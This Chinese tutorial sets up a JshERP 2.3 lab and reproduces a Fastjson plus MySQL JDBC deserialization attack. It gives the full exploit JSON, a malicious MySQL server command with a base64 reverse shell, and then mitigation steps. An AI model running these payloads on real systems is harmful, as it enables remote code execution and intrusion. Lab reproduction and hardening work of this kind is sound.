当前位置: 首页 > news >正文

保姆级教程:手把手搭建Java靶场(JshERP 2.3)并复现Fastjson+MySQL JDBC反序列化漏洞

从零构建Java靶场:JshERP 2.3环境搭建与Fastjson漏洞实战解析

当安全研究员面对一个陌生的Java Web应用时,如何快速搭建测试环境并验证漏洞?本文将以华夏ERP 2.3系统为例,带你完整走通从环境配置到漏洞利用的全流程。我们将重点剖析MySQL JDBC驱动与Fastjson反序列化的组合攻击手法,这种利用方式在传统RMI/LDAP利用链失效时往往能出奇制胜。

1. 实验环境准备与项目配置

1.1 基础工具安装清单

工欲善其事,必先利其器。以下是需要提前准备的软件环境:

  • 开发工具:IntelliJ IDEA 2020.3+(社区版即可)
  • Java环境:JDK 8u202(注意版本兼容性)
  • Web容器:Tomcat 8.5.34(与目标环境保持一致)
  • 数据库:MariaDB 10.3.7或MySQL 5.7
  • 靶场源码:GitHub获取jshERP-2.3完整项目

提示:建议使用Docker快速部署MySQL环境,避免本地安装冲突。若使用Windows系统,确保PATH环境变量配置正确。

1.2 项目导入与配置调整

下载源码后,在IDEA中执行以下操作:

git clone https://github.com/jshERP/jshERP-2.3.git

关键配置文件application.properties需要修改数据库连接参数:

spring.datasource.url=jdbc:mysql://localhost:3306/jsh_erp?useSSL=false spring.datasource.username=root spring.datasource.password=yourpassword spring.datasource.driver-class-name=com.mysql.jdbc.Driver

常见问题排查表:

错误现象可能原因解决方案
连接拒绝数据库服务未启动sudo systemctl start mysql
认证失败密码错误/权限不足重置密码或授权远程连接
时区错误服务器时区设置在URL添加&serverTimezone=UTC

2. 数据库初始化与系统部署

2.1 数据库 schema 导入

创建空数据库后,执行初始化脚本:

CREATE DATABASE jsh_erp CHARACTER SET utf8mb4; USE jsh_erp; SOURCE /path/to/jsh_erp.sql;

验证表是否创建成功:

SHOW TABLES LIKE 'jsh_%';

2.2 Tomcat 集成与启动

在IDEA中配置Tomcat时需注意:

  1. 添加Artifact为Web Application: Exploded
  2. 设置Application context为/jshERP
  3. 调整VM options避免内存溢出:
-Xms512m -Xmx1024m -XX:MaxPermSize=256m

启动后访问http://localhost:8080/jshERP,使用默认凭证登录:

  • 用户名:admin
  • 密码:123456

3. Fastjson漏洞原理与验证

3.1 反序列化触发点定位

在用户管理模块的查询接口存在JSON参数解析:

POST /jshERP/user/search HTTP/1.1 Content-Type: application/x-www-form-urlencoded search=%7B%22name%22%3A%22test%22%7D

3.2 DNSLog初步验证

构造简单探测payload:

{ "@type":"java.net.Inet4Address", "val":"your-subdomain.dnslog.cn" }

URL编码后提交,观察DNS解析记录。成功收到查询说明存在Fastjson反序列化漏洞。

4. MySQL JDBC高级利用技术

4.1 传统利用链失效分析

当常见利用链(如JdbcRowSetImpl)被防御时,错误日志可能显示:

Not support com.sun.rowset.JdbcRowSetImpl

这是因为高版本Fastjson内置了黑名单机制。

4.2 恶意MySQL服务器搭建

准备攻击工具:

  • evil-mysql-server
  • ysoserial-all.jar

启动恶意服务:

java -jar evil-mysql-server.jar -port 3307 \ -ysoserial ysoserial-all.jar \ -gadget CommonsCollections6 \ -command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

4.3 精心构造攻击Payload

完整利用JSON结构:

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "attacker-ip", "portToConnectTo": 3307, "info": { "user": "yso_CommonsCollections6_...", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } } }

关键参数说明:

  • statementInterceptors:触发反序列化的入口点
  • autoDeserialize:允许自动反序列化BLOB数据
  • NUM_HOSTS:控制连接重试次数

5. 防御建议与安全加固

5.1 临时缓解措施

对于无法升级的场景:

  1. 添加JVM启动参数:
-Dfastjson.parser.safeMode=true
  1. 配置Filter拦截危险请求:
if (request.getParameterNames().contains("search")) { String param = request.getParameter("search"); if (param.contains("@type")) { response.sendError(403); return; } }

5.2 长期安全方案

防护层级具体措施实施难度
代码层升级至Fastjson 2.x
架构层部署WAF过滤异常请求
运维层网络隔离数据库服务

实际项目中遇到的坑:MySQL Connector/J 8.0+版本默认禁用autoDeserialize,但许多历史系统仍在使用5.x驱动。建议在测试环境先用SHOW VARIABLES LIKE '%version%'确认数据库驱动版本。

http://www.zskr.cn/news/1517043.html

相关文章:

  • 【程序语言与编译】语法分析:自上而下推导(最左/最右)
  • 7个可测量的Prompt工程底层技巧:从指令解析到熵值控制
  • 2026总部看全局、区域看趋势、门店看自己:服装全渠道BI看板的三层架构
  • 如何快速搭建实时弹幕数据采集系统:跨平台直播监控终极方案
  • 2026申请香港身份怎么挑靠谱中介?3 家中介真实测评对比来了
  • Rust实战:轻量级IBC侧链验证器开发
  • 2026潮州市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • 2026年磁致伸缩位移/液位传感器厂家:专业高精度磁致伸缩沉降检测仪器与传感器供应商 - 品牌发掘
  • 15-17岁还能长高吗?青少年二次追高窗口期,分年龄段追高指南
  • 2026天门市萧邦+劳力士手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • 深度解析BetterNCM安装器:Rust构建的高效插件管理技术架构
  • 2026河源市伯爵+沛纳海手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • ai剪辑视频哪个最好用,2026年智能剪辑工作流,5款对比横评
  • Windows控制台打印UTF-8出现乱码解决
  • YOLOv8 8.2.0离线开发套件:带nano/small/medium三档预训练模型、多平台Docker构建文件及5个开箱即用示例Notebook
  • Windows下可直接运行的Modbus RTU主站工具,支持读写保持寄存器
  • 2026景德镇市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • FPGA实战(08):Verilog 设计:带多级分频输出的 0~99 循环计数器(tops 模块)
  • Codex 客户端对接 Agnes-2.0-Flash免费多模态大模型 AI 编程实现指南
  • buildroot Makefile include *.mk 的玄机.
  • 3步快速解决线缆依赖问题:NoCableLauncher的完整使用指南
  • 遇到一个ORA-01017错误,解决方法
  • 主流 MP3 音频转换工具大全,免费软件适配音频剪辑日常使用 - 软件工具教程方法
  • 微信私域机器人开发:iPad协议API实战指南
  • YaeAchievement:3分钟搞定原神成就数据导出,告别手动记录的烦恼
  • 考研数学积分题总丢分?掌握这3个对称区间和三角函数的‘秒杀’性质,计算速度翻倍
  • 嵌入式设备日志自动备份:用Dropbear+SCP免密传输,5分钟搞定脚本配置
  • YimMenu:GTA5终极防护与增强菜单完全指南
  • Java 标准 JAXP(Java API for XML Processing),JDK 内置,无需额外引入第三方依赖
  • netstat命令和ss命令详解